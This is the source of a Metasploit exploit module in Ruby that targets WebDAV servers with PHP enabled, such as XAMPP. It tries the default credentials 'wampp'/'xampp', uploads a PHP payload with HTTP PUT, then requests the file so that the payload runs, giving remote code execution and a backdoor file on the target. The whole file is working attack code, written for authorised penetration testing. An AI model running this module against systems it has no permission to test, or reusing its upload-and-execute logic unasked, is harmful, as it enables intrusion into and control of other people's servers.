Files

269 lines
8.2 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/http/xampp_webdav_upload_php'
def initialize(_info = {})
super(
'Name' => 'WebDAV PHP Upload',
'Description' => %q{
This module exploits WebDAV which also has PHP enabled,
such as found on XAMPP servers.
It can use do by using any supplied credentials to upload via WebDAV,
a PHP payload and then execute it.
},
'Author' => [
'theLightCosine',
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic', {} ],
],
'DisclosureDate' => '2012-01-14',
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2012-10062' ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
register_options(
[
OptString.new('URI', [ true, 'The URI path to attempt to upload', '/webdav/' ]),
OptString.new('FILENAME', [ false, 'The filename to give the payload. (Leave blank for random)' ]),
OptString.new('USERNAME', [ false, 'The HTTP username to specify for authentication', 'wampp' ]),
OptString.new('PASSWORD', [ false, 'The HTTP password to specify for authentication', 'xampp' ])
]
)
end
def build_res_creds
if !datastore['USERNAME'].to_s.empty?
vprint_status 'Using credentials for WebDAV'
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
else
vprint_status 'Anonymous authentication for WebDAV'
{}
end
end
def print_res_code(res, res_creds)
if res.code == 401
print_warning 'Creds may be required' if res_creds.empty?
print_warning 'Creds may be incorrect' if !res_creds.empty?
end
end
def report_webdav_service(res, creds)
header_server = res.headers['Server'].to_s.strip
vprint_status "Server: #{header_server}"
opts = {
ip: rhost,
port: rport,
service_name: 'webdav',
proto: 'tcp',
proof: res.code.to_s
}.merge(creds.transform_keys(&:to_sym))
service = report_service(
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
name: opts[:service_name],
info: header_server,
parents: {
name: ssl ? 'https' : 'http',
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
parents: {
name: 'tcp',
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
parents: nil
}
}
)
[opts, service]
end
def report_webdav_creds(opts, service)
# XXXX Otherwise `vuln`'s "Service" is "none" when doing check(), and different when doing exploit()
report_vuln(
host: opts[:ip],
service: service,
name: name
)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: opts[:proto],
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:username],
private_data: opts[:password],
private_type: :password
}.merge service_data
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge service_data
create_credential_login login_data
end
def check
test_file = rand_text_alphanumeric(rand(8..15)) + '.php'
test_url = normalize_uri(datastore['URI'], test_file)
payload = rand_text_alphanumeric(rand(8..15))
res_creds = build_res_creds
# Check
vprint_status "Checking for WebDAV: #{datastore['URI']}"
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'method' => 'OPTIONS'
}.merge(res_creds), 10)
return Exploit::CheckCode::Unknown('No response received from the target') unless res
unless res.code == 200
print_error "Target responded: HTTP #{res.code}, should be 200"
print_res_code(res, res_creds)
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP status #{res.code}")
end
# Record results!
opts, service = report_webdav_service(res, res_creds)
# First see if it already exists (it really shouldn't)
vprint_status "Checking for test file: #{test_url}"
res = send_request_raw({
'uri' => test_url
}.merge(res_creds), 10)
return Exploit::CheckCode::Unknown('No response received from the target') unless res
return Exploit::CheckCode::Unknown("The test file may already exists (HTTP #{res.code})") unless res.code == 404 # Need to try again with a different file
# Try to create it
vprint_status "Attempting to upload: #{test_url}"
res = send_request_cgi({
'uri' => test_url,
'method' => 'PUT',
'data' => payload
}.merge(res_creds), 10)
return Exploit::CheckCode::Unknown('No response received from the target') unless res
## Often its HTTP 201
unless res.code.to_i.between?(200, 299)
print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
print_res_code(res, res_creds)
return Exploit::CheckCode::Unknown("Upload request failed with HTTP status #{res.code}")
end
# Record results!
report_webdav_creds(opts, service)
# Try to run it
vprint_status "Checking if created: #{test_url}"
res = send_request_cgi({
'uri' => test_url
}.merge(res_creds))
return Exploit::CheckCode::Unknown('An error occurred while checking the target') unless res
return Exploit::CheckCode::Safe("Error with exploit request (HTTP #{res.code}, should be 2xx)") unless res.code.to_i.between?(200, 299)
return Exploit::CheckCode::Safe("Error with exploit request (Response doesn't match payload) - Missing PHP?") unless res.body.to_s.include?(payload)
# Clean up
vprint_status "Attempting to delete: #{test_url}"
res = send_request_cgi({
'uri' => test_url,
'method' => 'DELETE'
}.merge(res_creds), 10)
return Exploit::CheckCode::Unknown('An error occurred while checking the target') unless res
# Exploit uses cmd to delete via file system, not HTTP DELETE request
print_warning "Error with delete request (HTTP #{res.code}, should be 204) - Can't clean up" unless res.code == 204
# Done
return Exploit::CheckCode::Vulnerable('The target is vulnerable')
end
def exploit
uri = build_path
res_creds = build_res_creds
print_status "Uploading payload: #{uri}"
res = send_request_cgi({
'uri' => uri,
'method' => 'PUT',
'data' => payload.raw
}.merge(res_creds), 10)
## Often its HTTP 201
unless res&.code&.between?(200, 299)
print_error 'Failed to upload file!'
if res
print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
print_res_code(res, res_creds)
else
print_error 'No response received from server'
end
return
end
# Record results!
opts, service = report_webdav_service(res, res_creds)
report_webdav_creds(opts, service)
print_status 'Attempting to execute payload'
# Very short timeout because the request may never return if we're sending a socket payload
send_request_cgi({
'uri' => uri,
'method' => 'GET'
}.merge(res_creds), 0.01)
register_file_for_cleanup(@backdoor)
end
def build_path
uri_path = normalize_uri(datastore['URI'])
uri_path << '/' unless uri_path.ends_with?('/')
@backdoor = datastore['FILENAME'] || Rex::Text.rand_text_alphanumeric(7)
@backdoor << '.php' unless @backdoor.end_with?('.php')
uri_path << @backdoor
return uri_path
end
end